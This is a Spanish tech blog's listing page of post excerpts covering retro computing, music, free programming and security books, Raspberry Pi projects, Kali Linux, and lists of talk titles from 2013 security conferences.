Mucho hemos hablado sobre nuestro ordenador favorito de todos los tiempos, el Apple II creado y diseñado íntegramente por Steve Wozniak. Pero no lo fue del todo, ya que uno de sus componentes más importantes y esenciales incluso hoy día, la fuente de alimentación, no fue creada por Wozniak.

El padre de esta maravilla de la ingeniería electrónica fue Rod Holt, empleado número #5 de Apple.

Domingo por la mañana, Song for Zula, …

Enlace Grooveshark y Spotify.

Phosphorescent.

iSteve, se estrena en Internet

Ya puedes ver en este enlace de FunnyOrDie la película íntegra sobre la vida de Steve Jobs (en inglés), llamada iSteve.

El director Ryan Pérez (Saturday Night Live) se ha adelantado a la película protagonizada por Ashton Kutcher.

Vamos a verla este fin de semana y ya os contaremos.

Parece que no está teniendo mucha aceptación ...

Er docu der finde: Maravillas modernas - El …

Hacking Secret Ciphers with Python - eBook grauito

Para los que os gusta la criptografía y Python, aquí tenéis todo un detallazo. Hacking Secret Ciphers with Python es un libro que puedes comprar en Amazon, pero además lo puedes bajar en formato PDF o mobi, para tu lector de libros electrónico. Y por supuesto puedes leerlo online también.

El índice tiene muy buena pinta:

• Chapter 1 - Making Paper Cryptography Tools
• Chapter 2 - Downloading and Installing Python
• Chapter 3 - The Interactive Shell
• Chapter 4 - Strings and Writing Programs
• Chapter 5 - The Reverse Cipher
• Chapter 6 - The Caesar Cipher
• Chapter 7 - Hacking the Caesar Cipher with the Brute Force Technique
• Chapter 8 - The Transposition Cipher, Encrypting
• Chapter 9 - The Transposition Cipher, Decrypting
• Chapter 10 - Programming a Program to Test Our Program
• Chapter 11 - Encrypting and Decrypting Files
• Chapter 12 - Detecting English Programmatically
• Chapter 13 - Hacking the Transposition Cipher
• Chapter 14 - Modular Arithmetic and the Multiplicative Cipher
• Chapter 15 - The Affine Cipher
• Chapter 16 - Hacking the Affine Cipher
• Chapter 17 - The Simple Substitution Cipher
• Chapter 18 - Hacking the Simple Substitution Cipher
• Chapter 19 - The Vigenère Cipher
• Chapter 20 - Frequency Analysis
• Chapter 21 - Hacking the Vigenère Cipher
• Chapter 22 - The One-Time Pad Cipher
• Chapter 23 - Finding Prime Numbers
• Chapter 24 - Public Key Cryptography and the RSA Cipher

Como decía todo un detallazo!! Gracias Al Sweigart

4:mag número 1 - Revista digital sobre análisis …

4:mag es una revista electrónica orientada al análisis forense digital. En este primer número podemos encontrarnos con el siguiente contenido:

• events
• editorial
• a call to action
• device and application data from ios devices
• taking a byte out of apple computers
• win - forensic contest
• starting out and getting ahead
• forensic 4cast awards 2013
• pro-file
• hard drive secrets revealed
• 4:ward

Puedes bajarla en formato PDF o leerla online desde aquí.

No te pierdas el último capítulo de la temporada 4 …

Aún me estoy riendo, fantástico episodio.

No te lo pierdas, tiene sorpresa …

Genial  para cerrar esta cuarta temporada de Cálico Electrónico.

Esperando ya la quinta …

Niko amigo, eres un crack  ;)

Libros técnicos para empezar la semana

Pues eso otra lista de libros que nos podemos descargar de forma gratuita para la colección:

• International Law in Cyberspace: The Koh Speech and Tallinn Manual Juxtaposed (PDF)
• Natural Language Processing with Python
• A Programmer's Guide to Data Mining
• Platform as a Service Under the Hood
• Algorithms, 4th Edition
• The Bastards Book of Regular Expressions
• Security Engineering
• Encryption and Security Tutorial
• Learn Vimscript the Hard Way
• Power Programming with Mathematica (PDF)

Exponiendo nuestro sensor de temperatura y humedad

En el último artículo dónde hablamos como construir un monitor de temperatura y humedad con tu Raspberry Pi, os dimos algunas ideas de que hacer con él y al final de dicha entrada os comentamos que habría una segunda entrada en la que veríamos como exponer los datos del sensor en nuestra red.

Si todas tus necesidades de monitorizar la temperatura y/o humedad están cubiertas con un simple trabajo cron, perfecto, tu Raspberry Pi posiblemente te será suficiente, pero si tus necesidades van más aĺlá, quizás necesites un sistema un poco más potente.

Domingo por la mañana, OK Go, White Knuckles

Y aquí en 3D ;) (lo probé en mi nueva tele LG 42LA660A, genial).

GrooveShark

Spotify

Como siempre, fantásticos OK Go.

Conoce tu HTTP

Si hay un protocolo que todo programador web debe conocer, ese es el HTTP. HTTP es la base de cualquier aplicación web y cuanto más cómo y mejor conozcamos éste, más fácil se nos hará la vida a la hora de no sólo programar, sino de depurar posibles problemas en nuestra aplicación, especialmente cuando tu aplicación corre en un entorno empresarial con Firewalls, Single Sign On, etc.

Presentaciones de la HITBSECCONF 2013 - Amsterdam

Ya tenemos entretenimiento para el fin de semana con las presentaciones de la conferencia sobre seguridad informática de la Hack In The Box 2013 celebrada en Amsterdam.

• CLOSING KEYNOTE - Winn Schwartau - The History of the Future of InfoSec.pdf
• D1 KEYNOTE - Edward Schwartz - Embracing the Uncertainty of Advanced Attacks with Big Data Analytics.pdf
• D1LAB - Didier Stevens - Windows x64 Essentials.pdf
• D1LAB - Itzik Kotler - Hack Like It's 2013.pdf
• D1LAB - Vladimir Kropotov and Sergey Soldatov - Defending the Enterprise the Russian Way.pdf
• D1T1 - Hugo Teso - Aircraft Hacking - Practical Aero Series.pdf
• D1T1 - Peleus Uhley and Karthik Raman - Security Response in the Age of Mass Customized Attacks.pdf
• D1T1 - Petko D Petkov - Defeating the Intercepting Web Proxy %e2%80%93 A Glimpse Into the Next Generation of Web Security Tools.pdf
• D1T1 - Sergey Bratus and Julian Bangert - Better Security Through Creative x86 Trapping.pdf
• D1T1 - Travis Goodspeed - Nifty Tricks and Sage Advice for Shellcode on Embedded Systems.pdf
• D1T1 - Vladimir Vorontsov and Alexander Golovko - SSRF PWNs - New Techniques and Stories.pdf
• D1T2 - Daniel Mende - Paparazzi Over IP.pdf
• D1T2 - Nicolas Seriot - Abusing Twitters API and OAuth Implementation.pdf
• D1T2 - Nikita Tarakanov - Exploiting Hardcore Pool Corruptions in Microsoft Windows Kernel.zip
• D1T2 - Philippe Langlois - Hacking HLR HSS and MME Core Network Elements.pdf
• D1T2 - Tal Zeltzer - Analysis to Remote Root 0day in an Industry Leading SSL-VPN Appliance.pdf
• D1T2 - Wilco Baan Hofman - Bringing Dutch Alarm Systems to Their Knees.pdf
• D2 KEYNOTE - Bob Lord - Rethinking the Front Lines.pdf
• D2T1 - Andrey Labunets and Egor Homakov - OAuth 2.0 and the Road to XSS.pdf
• D2T1 - Peter Geissler and Steven Ketelaar - How I Met Your Modem.pdf
• D2T1 - Pod2g, Planetbeing, Musclenerd and Pimskeks aka Evad3rs - Swiping Through Modern Security Features.pdf
• D2T1 - Sebastien Kaczmarek - Dreamboot UEFI Bootkit.pdf
• D2T1 - Sergey Shekyan and Artem Harutyunyan - Turning Your Surveillance Camera Against You.pdf
• D2T2 - A Petukhov G Noseevich and D Gamayunov - Breaking Through Certified Crypto in Banking Apps.pdf
• D2T2 - Chilik Tamir - iAnalyzer - No More Blackbox iOS Analysis.pdf
• D2T2 - Dan Tentler - The Shodan Computer Search Engine.pdf
• D2T2 - Ofer Shezaf - The Infosec Risks of Charging Electric Cars.pdf
• D2T2 - Rosario Valotta - Abusing Browser User Interfaces for Fun and Profit.pdf

Er docu der finde: El gigante Google

Cómo funcionan las gafas de Google

Fuente

Top 10 fallos de hacking en películas y series

En HackADay han recopilado estos Top 10 fallos de hacking que han ocurrido en películas y series.

Algunos son realmente espectaculares por lo malas que son las escenas (no deberían ni de catalogarse como hacking, pero bueno).

Esta es la Primera parte, Top 10 hacking failures in movies (en inglés pero recuerda que siempre puedes activar los subtítulos), fruto de preguntar a sus lectores:

 

33 Cursos de Informática y Programación gratuitos …

Con algunos días de retraso, aquí tienes un listado con 33 interesantes cursos gratuitos online que puedes empezar este mes (transcribo directamente la tabla vista en Reddit):

PRINCIPIANTE (4)

Course Name	Start Date	Length	Initiative
An Introduction to Interactive Programming in Python	Apr 15th	9 weeks	Coursera
Computer Science 101	Self Paced	NA	Coursera
CS 101: Building a Search Engine	Self Paced	7 weeks	Udacity
Program Arcade Games - Learn Computer Science	Self Paced	NA	Others

INTERMEDIO (24)

Course Name	Start Date	Length	Initiative
Scientific Computing	Apr 1st	10 weeks	Coursera
Social and Economic Networks: Models and Analysis	Apr 1st	8 weeks	Coursera
M101P: MongoDB for Developers (Python)	Apr 1st	7 weeks	10gen
Computational Methods for Data Analysis	Apr 1st	10 weeks	Coursera
Introduction to Logic	Apr 1st	8 weeks	Coursera
Learning from Data (Introductory Machine Learning course)	Apr 2nd	10 weeks	Others
Introduction aux réseaux cellulaires	Apr 2nd	11 weeks	Others
Datenmanagement mit SQL	Apr 8th	6 weeks	openHPI
Probabilistic Graphical Models	Apr 8th	11 weeks	Coursera
Graph Partitioning and Expanders	Apr 15th	NA	Venture Lab
The Hardware/Software Interface	Apr 15th	8 weeks	Coursera
Computational Neuroscience	Apr 19th	8 weeks	Coursera
User Experience for the Web	Apr 22nd	4 weeks	Open2Study
Machine Learning	Apr 22nd	10 weeks	Coursera
M102: MongoDB for DBAs	Apr 29th	7 weeks	10gen
Compilers	Self Paced	NA	Coursera
CS255 - HTML5 Game Development - Building High Performance Web Applications	Self Paced	7 weeks	Udacity
CS212 - The Design of Computer Programs	Self Paced	7 weeks	Udacity
CS253 - Web Application Engineering - Building a Blog	Self Paced	7 weeks	Udacity
CS262 - Programming Languages - Building a Browser	Self Paced	7 weeks	Udacity
CS215 - Algorithms - Crunching Social Networks	Self Paced	7 weeks	Udacity
CS313 - Intro to Theoretical Computer Science - Dealing with Challenging Problems	Self Paced	7 weeks	Udacity
Introduction to Internetworking with TCP/IP	Self Paced	6 weeks	openHPI
CS271 - Introduction to Artificial Intelligence	Self Paced	10 weeks	Udacity
CS291 - Interactive Rendering - Introduction to 3D Computer Graphics	Self Paced	7 weeks	Udacity

AVANZADO (5)

Course Name	Start Date	Length	Initiative
CS 373: Programming a Robotic Car	Self Paced	7 weeks	Udacity
CS387 - Applied Cryptography	Self Paced	7 weeks	Udacity
In-Memory Data Management	Self Paced	6 weeks	openHPI
CS344 - Introduction to Parallel Programming - Using CUDA to Harness the Power of GPUs	Self Paced	7 weeks	Udacity
CS348 - Functional Hardware Verification - How to Verify Chips and Eliminate Bugs	Self Paced	7 weeks	Udacity

Línea del tiempo de las versiones de Android

Fuente

Monitor de temperatura y humedad con Raspberry Pi

Otro de los proyectitos con los que estuve jugando hace algún tiempo, pero que nunca tuve la oportunidad de compartir en el blog, fue un monitor de temperatura y humedad con Raspberry Pi.

La idea es muy sencilla. Es el poder saber la temperatura y humedad que hace en una habitación (o donde se encuentre nuestro Raspberry Pi) en todo momento.

Para este proyecto, además de un Raspberry Pi con su conector de corriente y tu tarjeta con Raspbian, usé este sensor. Este sensor tiene una precisión bastante buena:

Presentaciones de la Rooted CON 2013

Ya tenemos disponibles las presentaciones de la Rooted CON 2013, uno de los congresos sobre seguridad informática de referencia de la scene española.

Aquí tenéis el listado de las presentaciones:

• Juan A. Calles y Pablo González - Metasploit & Flu-AD: Avoiding AVs with Payloads/DLLs Injection
• Roberto Baratta - eFraude: ganar gestionando la derrota
• Vicente Díaz - Birds, bots and machines - Fraud in Twitter and how to detect it using MLT
• Albert López - Linux Heap Exploiting Revisited
• Joxean Koret - Interactive Static Analysis Tools for Vulnerability Discovery
• Jesús Olmos - ChromeHack, a html5/chrome webhack tool
• David Meléndez Cano - Trash Robotic Router Platform (TRRP)
• Antonio Ramos - ¿Y si la seguridad afectara al valor contable de la empresa?
• David Barroso - Un gentil viaje al interior de las extorsiones mediante DDoS
• José Luis Verdeguer - FreePBX for fun & profit
• Sebastián Guerrero - Ke ase Android?
• David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a atacar?
• José M. Esparza y Mikel Gastesi - Sopelka VS Eurograbber: really 36 million EUR?
• José Pico y David Pérez - Sistema de localización geográfica de un terminal móvil
• Andrés Tarasco y Miguel Tarasco - OWISAM - Open WIreless Security Assessment Methodology
• Jaime Sánchez - From kernel space to user heaven
• Chema Alonso - Hachetetepe dospuntos slaac slaac
• Alejandro Ramos - Te pique lo que te pique, analiza un SQLite
• Raúl Siles - Wi-Fi: Why iOS (Android and others) Fail inexplicably?

10 PRINT CHR$ (205.5 + RND (1)); : GOTO 10, un …

Esto es lo que ocurre cuando escribes:

10 PRINT CHR$ (205.5 + RND (1)); : GOTO 10

en el BASIC de un Commodore 64:

httpv://youtu.be/m9joBLOZVEo

10 PRINT CHR$ (205.5 + RND (1)); : GOTO 10 es un libro colaborativo escrito por 10 autores distintos el cual explora, partiendo de esta sencilla, pero con un resultado espectacular, línea de programación, cómo podemos obtener complejos resultados desde una aparente base sencilla de código.

Domingo por la mañana, Yo La Tengo, Well You …

En GrooveShark.

Y en Spotify.

Canción perfecta para un domingo por la mañana (haga frío, calor, lluvia o nieve), y si te quedas con ganas de más de este grupazo mítico (y uno de mis favoritos) llamado Yo La Tengo (la primera canción es de su último disco "Fade"), escucha estas dos de mis favoritas (aunque podría llenar este post con cientos de canciones favoritas de Yo La Tengo):

Arreglando el peor juego de la historia: E.T. El …

Una de las historias que os contamos en el libro trata sobre el que considera el peor juego de la historia: E.T. El extraterrestre.

En el libro puedes ver el motivo o algunos de los motivos de el por qué este juego fue un fracaso para Atari, aunque para gustos los colores, porque hay alguna gente que no piensa que éste fuese el peor juego de la historia. Hay incluso una página de apreciación o quién incluso ha creado una serie de vídeos en youtube, explicando sus razones por las que E.T. no fue el pero juego de la historia (parece que el autor intentó crear una serie de 6 vídeos, pero sólo he podido encontrar 3 de ellos):

Introducción a la programación en ensamblador x64 …

Si te ha costado casi toda una vida aprender más o menos a programar en ensamblador para x86 ;) (como es mi caso), ahora tienes que ir preparándote para programar en x64. Es imprescindible aprenderlo si sueles programar y quieres sacar el máximo partido a esta arquitectura (por ejemplo insertar parte de tu código en ensamblador x64 en tus programas). También es útil si tienes que hacer debugging o desensamblar programas.

Er docu der finde: La ciencia de los efectos …

Firmas para evitar el cierre de Centro Astronómico …

El Centro Astronómico Hispano Alemán de Calar Alto  (situado en la Sierra de Almería) está en serio riesgo de ser cerrado porque el Gobierno de España no quiere pagar la cuota anual que le corresponde, que es mucho menor que la que ponen los alemanes.

El Centro Astronómico Hispano Alemán de Calar Alto es el mayor complejo astronómico de la Europa continental (sin tener en cuenta las islas Canarias), con grandes telescopios equipados con una instrumentación soberbia, de tecnología punta, y lleva funcionando desde hace décadas dando resultados científicos de primer nivel mundial.

The MagPi número 11

Ya está disponible la revista técnica especializada en Raspberry Pi. En este número de abril podemos encontrar el siguiente contenido:

• HOME HEATING SYSTEM
• POWER AND I/O EXPANSION BOARD
• THIS MONTH'S PC SUPPLIES COMPETITION
• WIFI ACCESS POINT
• THIS MONTH'S EVENTS GUIDE
• MINECRAFT: PI EDITION
• CONFIGURING PRINTERS
• QUICK2WIRE COMPETITION
• SIMPLE INTRANET
• ASSEMBLY PROGRAMMING WITH RISCOS
• AN INTRODUCTION TO CHARM - PART 2
• CONSOLE COLOURS
• WIN YOUR OWN BLUE PI
• SCRATCH PATCH - HEAP SORT

Puedes descargar el PDF desde aquí o leerla desde online en issuu.com

40 cumpleaños del teléfono móvil

Image via iStockphoto, LockieCurrie. Mashable

Qué es la virtualización, explicado por Steve …

El vídeo está en inglés, pero está todo explicado a base de caricaturas por lo que es muy fácil de seguir y entender. Explica de forma muy simple al concepto de virtualización, de la mano del gran maestro Steve Wozniak.

Servidor de disquetes para Apple ][

Más de 1500 disquetes podemos encontrar en el este servidor online de disquetes para Apple ][.

Lo que más me ha llamado la atención no ha sido la cantidad de disquetes o los títulos que podemos encontrar en el mismo, sino más bien el método de grabación de dichos disquetes.

Lo que proveen es un archivo de audio que puedes tocar desde el navegador o bajar haciendo click con el botón derecho sobre el enlace WAV.

Enseñando a programar a niños

No, esta entrada no trata de otro software o lenguaje de programación tipo Logo, Scratch ni nada por el estilo. De hecho, ni siquiera requiere un ordenador.

La idea es de Nikos Michalakis, un ingeniero salido del mismo MIT.

El método es motivar al niñ@ a pensar como dar instrucciones a un robot. En este caso el niñ@ es el maestro del robot y el robot en sí, es un adulto. Idealmente alguien con quien el niñ@ tenga una relación de confianza: padre, madre, tutor, etc. Además de esto se requiere un espacio abierto o cerrado, pero lo suficientemente amplio que permita movilidad al robot para ejecutar las instrucciones de su maestro o amo, lo llamaremos el plano del juego.

No te pierdas el podcast Fallo de Sistema Radio3, …

(click en la imagen para escucharlo)

Ya puedes descargarte desde este enlace (click para escuchar botón derecho descargar) el podcast emitido hoy por el programa más geek de toda la radio y uno de nuestros favoritos que seguimos semana a semana, Fallo de Sistema de Radio3.

En este episodio número 77, tuxotron y yo hablamos sobre nuestro libro Microhistorias: anécdotas y curiosidades de la Informática así como otros asuntos siempre relacionados con la temática más geek posible.

Música para un Domingo por la mañana, The End of …

Aquí para escucharla en Grooveshark.

Y aquí para Spotify.

The End of the Ocean.

Er docu der finde: ¿Qué es el diseño gráfico?

¿Qué es el Diseño Gráfico? from Franco Monti on Vimeo.

Resolviendo no uno, sino tres cubos de Rubik …

Si el otro dio me quedé sorprendido con el vídeo del chaval que resolvía un cubo de Rubik mientras hacía malabarismo, el mismo ha publicado otro vídeo dónde podemos ver esta vez como resuelve 1 cubos y no sólo uno.

Los números del BYOD

Fuente

Más explotación web

Los chicos de Pentesterlab.com nos vuelven a deleitar con otro curso guiado sobre penetración web.

Web for pentester es un curso para principiantes donde podrás aprender los siguientes conceptos:

• Basics of Web
• Basics of HTTP
• Detection of common web vulnerabilities:
  • Cross-Site Scripting
  • SQL injections
  • Directory traversal
  • Command injection
  • Code injection
  • XML attacks
  • LDAP attacks
  • File upload
• Basics of fingerprinting

El curso viene acompañado de un documento PDF con 106 páginas, más una máquina virtual especialmente preparada para seguir el documento anteriormente mencionado.

Las máquinas virtuales las tienes en su versión de 32 y 64 bits.

Qué pillín es este Chewbacca WTF!

Visto aquí.

Domingo por la mañana, Fall (Remixed By M83 vs Big …

M83, que por cierto parece que tocarán este año en el festival SOS de Murcia :)

Big Black Delta

Aquí para escucharla desde GrooveShark

Y desde aquí para Spotify

550.000 millas de cable submarino

Fuente

Desarrollo de aplicaciones para iPhone e iPad por …

La prestigiosa Universidad de Stanford ha puesto a disposición del que lo desee su curso de Desarrollo de aplicaciones para iPhone e iPad que impartió el pasado mes de enero.

El curso está disponible de forma gratuita a través de iTunes. El temario de la clase es bastante extenso y contiene el siguiente curriculum:

1. Class Logistics, Overview of iOS
2. Xcode 4
3. Objective-C
4. Foundation, Attributed Strings
5. View Controller Lifecycle and Multiple MVCs
6. Views and Gestures
7. Collection View and Protocols
8. Autolayout and Navigation
9. Scroll View and Table View
10. iPad and Blocks
11. Multithreading and Persistence
12. Core Data
13. Core Data Continued
14. Photomania Demo
15. Core Location and MapKit
16. Segues and Text Fields
17. View Animation, NSTimer, Alerts and Action Sheets
18. UIImagePickerController, Core Motion, and Localization

Si te interesa no lo dejes para más tarde porque creo que sólo estará disponible hasta el 28 de este mes de marzo.

Los desastres de MySQL

Courtesy of: Xeround's Cloud Database

Er docu der finde: Víctimas de Facebook

Vídeos de la PyCon 2013

Ya están disponibles los vídeos de la PyCon 2013. Una conferencia orientada al lenguaje de programación Python:

• Closing Address
• Internationalization and Localization Done Right
• Keynote
• Plover: Thought to Text at 240 WPM
• Crypto 101
• Cython vs SWIG, Fight!
• Designers + Developers: Collaborating on your Python project
• Dispatch Magic
• Getting started with automated testing
• Making Apache suck less for hosting Python web applications.
• Mobile Application Testing with Python and Selenium
• Python at Netflix
• Python's Law
• Realtime Tracking and Mapping of Geographic Objects using Python
• Sink or swim: 5 life jackets to throw to New Coders
• Things to make writing tests easier
• What is the Python Software Foundation?
• What teachers really need from us
• Who’s there? - Home Automation with Arduino/RaspberryPi
• Why you should use Python 3 for text processing
• Better Documentation Through Automation: Creating Sphinx Extensions
• Deploy your Python app in 5 min with a PaaS
• Elasticsearch (Part 1): Indexing and Querying
• Encapsulation with descriptors
• Fighting Cancer with Python
• How the Internet works
• How to Except When You're Excepting
• If You Code, You Should Write
• Keynote - Eben Upton
• Kivy: Building GUI and Mobile apps with Python
• Measuring and modeling the complexity of children's books
• Opening Statements
• PyPy without the GIL
• Python Profiling
• Python: A "Toy" Language
• SimpleCV - Computer Vision using Python
• So you want to write an interpreter?
• Twisted Logic: Endpoints and Why You Shouldn't Be Scared of Twisted
• Using futures for async GUI programming in Python 3.3
• Write the Docs

Material para enseñar sobre el análisis de …

En binary-auditing.com han preparado un paquete con información sobre el análisis de binarios con IDA Pro Free. El paquete está compuesto por, además del propio IDA Pro 5 Free, por una serie de PDFs y de algunos binarios para hacer las prácticas.

Este paquete está ideado para ser usado como material de enseñanza, aunque por supuesto lo puedes usar para tu propio aprendizaje.

El paquete lo puedes bajar desde aquí. Es un archivo .zip protegido con la siguiente contraseña: fdcd2ff4c2180329053650f3075d39f4

Microhistorias: la pantalla de la muerte …

Killscreen de Donkey Kong. Web donhodges.com

Donkey Kong también tiene su pantalla de la muerte ó killscreen, al igual que Pac-Man (del que hablamos en nuestro libro) y otros juegos de la época. Uno de los motivos por el cual estas pantallas existen es que el hardware en el cual se implementaba el juego (las máquinas recreativas) tenía bastantes limitaciones y estaban diseñadas para partidas, en teoría, "cortas". Si a esta limitación técnica le sumamos el hecho que los programadores de estos juegos míticos nunca imaginaron que los jugadores llevaran la máquina hasta esos límites (qué ilusos), aparecen errores de programación que dieron lugar a las famosas killscreen.

Presentaciones de CanSecWest Vancouver 2013

Pues como dice el título, ya están disponibles para descarga las presentaciones (diapositivas) de CanSecWest Vancouver 2013:

• Keynote
• iOS6.1 - Exploitation 280 Days Later
• Evil Maid Just Got Angrier: Why Full-Disk Encryption With TPM is Insecure on Many Systems
• Sandbox Escapes: When the Broker is Broken
• Reflecting on Reflection - Exploiting Reflection Vulnerabilities in Managed Languages
• An Android Hacker's Journey: Challenges in Android Security Research
• DEP/ASLR bypass without ROP/JIT
• SMS to Meterpreter - Fuzzing USB Modems
• Cracking and Analyzing Apple iCloud backups, Find My iPhone, Document Storage.
• Desktop Insecurity
• Shining Some Light on the Evolution of BlackHole
• Project 53
• Smart TV Security
• Godel's Gourd - Fuzzing for Logic Issues
• MS SQL Post Exploitation Shenanigans: You're In, Now What?
• Analysis of a Windows Kernel Vulnerability; From Espionage to Criminal Use
• UPnP Vulnerabilities

Jugando a Angry Birds en un cajero automático

Un investigador ruso, Timur Yunusov, de seguridad informática nos muestra en un vídeo como consiguió instalar (y jugar) a Angry Birds en un cajero automático justo después de sacar dinero del mismo.

El vídeo no muestra detalles del proceso, pero por lo visto el problema radica en que el cajero automático no tenía deshabilitado el menú de contexto de Windows. Por lo que dejando el dedo puesto sobre la pantalla táctil del cajero por unos segundos, acababa apareciendo el menú de Windows.

Metasploitable en la nube

Ya hace tiempo os hablamos de metasploitable, una distribución especialmente construida para afinar nuestras habilidades con metasploit acompañada de un magnífico tutorial que nos guía paso a paso como explotar dicho sistema. Éste venía/viene en forma de máquina virtual, la cual tienes que bajarte e instalarla donde tengas tu gestor de máquinas virtuales.

Muchos, por falta de tiempo, de recursos o de lo que sea no pasamos de la descarga de la máquina virtual y la dejamos “para más tarde…” :)

Libros para empezar la semana con buen pie

Aquí os dejo una lista corta, pero con muy buena pinta de libros para empezar la semana:

• Beej's Guide to Network Programming
• Incredible Secret Money Machine
• PC Assembly - En español (.zip)
• Quick introduction to reverse engineering for beginners
• Graph Databases

Happy reading!!

Vídeos de la Shmoocon 2013

Ya están disponibles los vídeos de la Shmoocon 2013. Otra conferencia de seguridad de gran calidad que se celebró el pasado 15-17 de febrero en Wahington DC.

• Opening Remarks & Rants
• How to Own a Building BacNET Attack Framework
• Mainframed The Secrets Inside that Black Box
• WIPE THE DRIVE - Techniques for Malware Persistence
• Apple iOS Certificate Tomfoolery
• Hide and Seek, Post-Exploitation Style
• Hackers get Schooled Learning Lessons from Academia
• Friday Fire Talks
• Running a CTF - Panel on the Art of Hacker Gaming
• C10M Defending The Internet At Scale
• Paparazzi Over IP
• DIY Using Trust to Secure Embedded Projects
• Moloch A New And Free Way To Index Your Packet Capture Repository-1
• OpenStack Security Brief
• Generalized Single Packet Auth for Cloud Envions
• From Shotgun Parsers to Better Software Stacks
• The Computer Fraud and Abuse Act Swartz, Auernheimer, and Beyond
• Malware Analysis Collaboration Automation & Training
• Bright Shiny Things Intelligent DA Control
• Strategies of a World Class Security Inciden
• Armoring Your Android Apps
• Protecting Sensitive Information on iOS Devices
• Beyond Nymwars - Online Identity Battle
• How Smart Is BlueTooth Smart
• Chopshop Busting the Gh0st
• The Cloud - Storms on the Horizon
• 0wn The Con
• PunkSPIDER Open Source Fuzzing Proj Tgting the Internet
• Crypto - Youre Doing It Wrong
• Identity Based Internet Protocol
• NSM and more with Bro Network Monitor
• These Go To Eleven - When the Law Goes Too Far
• Forensics - ExFat Bastardized for Cameras
• Page Fault Liberation Army or Better Security Through Trapping
• Hacking as an Act of War
• MASTIFF - Automated Static Analysis Framewor
• Attacking SCADA Wireless Systems
• Ka-Ching - How to Make Real Money
• Is Practical Info Sharing Possible

Número 8 de la revista The MagPi en español

Ya se encuentra disponible un nuevo número en español de la revista sobre Raspberry Pi, The MagPi. Éste corresponde al número 8 de diciembre del pasado 2012. El índice es el siguiente:

• EL RETORNO DEL SKUTTER
• AUTOMATICE SU CASA ­ ATRAPE A PAPÁ NOEL
• CONCURSO MENSUAL
• CONTROLA TU ARDUINO CON PYTHON Y RASPBERRY PI
• PI GAUGE
• PROMOCIÓN DE LIBROS ­ GETTING STARTED WITH PYTHON
• ENTREVISTA A PIBOW
• ARBOL DE NAVIDAD ACCIONADO POR CESIL
• BIENVENIDO A LA CACHE DE C++
• COMENZANDO ADA
• CAMPAMENTO DE BASES DE DATOS
• LISTA DE EVENTOS DEL MES
• EL TALLER DE PYTHON
• PREGUNTAS Y COMENTARIOS

Pudes descargar el PDF desde aquí

Domingo por la mañana, Klaus & Kinski, Ojo por …

Klaus & Kinski

Escúchala desde GrooveShark

Y desde Spotify

Presentaciones de Black Hat Europe 2013

Ya tenemos disponible para descarga las presentaciones de la Black Hat 2013 Europe:

• A Perfect CRIME? Only TIME Will Tell White Paper Presentation
• Advanced Heap Manipulation in Windows 8 Presentation
• Building a Defensive Framework for Medical Device Security
• The Deputies Are Still Confused White Paper Presentation
• DropSmack: How Cloud Synchronization Services Render Your Corporate Firewall Worthless White Paper Presentation File File
• Floating Car Data from Smartphones: What Google and Waze Know About You and How Hackers Can Control Traffic White Paper Presentation
• Hacking Appliances: Ironic exploitation of security products White Paper Presentation
• Hacking Video Conferencing Systems White Paper Presentation
• Hardening Windows 8 apps for the Windows Store White Paper
• Harnessing GP²Us - Building Better Browser Based Botnets Presentation
• Honeypot That Can Bite: Reverse Penetration White Paper Presentation
• Hybrid Defense: How to Protect Yourself From Polymorphic 0-days White Paper Presentation File
• Invisibility Purge – Unmasking the Dormant Events of Invisible Web Controls – Advanced Hacking Methods for Asp.Net, Mono and RIA Presentation File File File File
• Let's Play - Applanting White Paper Presentation
• Mesh Stalkings-Penetration Testing with Small Networked Devices White Paper Presentation
• Multiplayer Online Games Insecurity White Paper Presentation
• Off Grid communications with Android - Meshing the mobile world White Paper Presentation
• Practical Attacks Against MDM Solutions White Paper Presentation
• Power Analysis Attacks for Cheapskates White Paper Presentation File
• Practical Exploitation Using A Malicious Service Set Identifier (SSID) White Paper Presentation
• The Sandbox Roulette - Are You Ready For The Gamble? Presentation
• XML Out-of-Band Data Retrieval White Paper Presentation
• Who's Really Attacking Your ICS Devices? White Paper Presentation
• Advanced iOS Application Pentesting Presentation
• Application Development Secure Coding Workshop Presentation
• Assessing BYOD with the Smartphone Pentest Framework White Paper Presentation
• PowerShell for Penetration Testers Presentation
• Vehicle Networks Workshop Presentation

Er docu der finde: La revolución virtual "¿Homo …

Tutorial de UNIX para principiantes

La importancia que tuvo y tiene UNIX en el lado del servidor es indudable, pero a menos que trabajes como administrador de sistemas en alguna empresa, posiblemente no tendrás la oportunidad de tocar uno de estos sistemas. Por suerte y gracias a sistemas como BSD y GNU/Linux podemos tener una versión para PCs de este gigante.

De cualquier manera, para el que tenga que lidiar con UNIX o el curioso, aquí os dejo un buen tutorial de iniciación a éste.

Cómo perder peso en el navegador

El rendimiento de una aplicación web es fundamental. Al usuario no le gusta esperar y cada vez que acceda a tu aplicación web y se mueva por ella, quiere que sea amigable, de utilidad obviamente y por supuesto que sea rápida. Por ahí afuera puedes encontrar cientos o miles de sitios con trucos y buenas prácticas para hacer que tu sitio web responda lo más rápido posible.

(IN)SECURE Magazine 37, marzo 2013

Ya se encuentra disponible un nuevo número de (IN)SECURE, una revista electrónica totlamente gratuita sobre seguridad informática.

En este número podemos encontrar el siguiente contenido:

• Becoming a malware analyst
• Review: Nipper Studio
• Five questions for Microsoft's Chief Privacy Officer
• Application security testing for AJAX and JSON
• Penetrating and achieving persistence in highly secured networks
• Report: RSA Conference 2013
• Social engineering: An underestimated danger
• Review: Hacking Web Apps
• Improving information security with one simple question
• Security needs to be handled at the top
• 8 key data privacy considerations when moving servers to the public cloud

Puedes descargar el PDF desde este enlace.

Kali Linux 1.0 ya disponible

Ya os contamos que Backtrack iba pasar a llamarse Kali Linux. Pues bien, ya es una realidad. Se acaba de lanzar oficialmente Kali Linux.

Las novedades con respecto a Backtrack son:

• Las actualizaciones vienen de los repositorios de Debian (4 veces al día).
• Las herramientas de Kali son empaquetadas de acuerdo a la "normativa" Debian.
• Algunas de las herramientas son actualizadas a su última versión (no necesariamente a su versión estable, night builds).
• Facilitan la  creación de tu propia distribución basada en Kali (Bootstrap) .
• Automatización de la instalación de Kali.
• Desarrollo de Kali sobre architecturas ARM.
• Fexibilidad a la hora de elegir tu escritorio favorito (KDE, LXDE, XFCE, etc).
• Posibilidad de actualizar Kali a nuevas versiones, sin tener que que reinstalar.

Puedes descargar la vaersión 1.0 desde aquí.

Diccionario de passwords de CrackStation

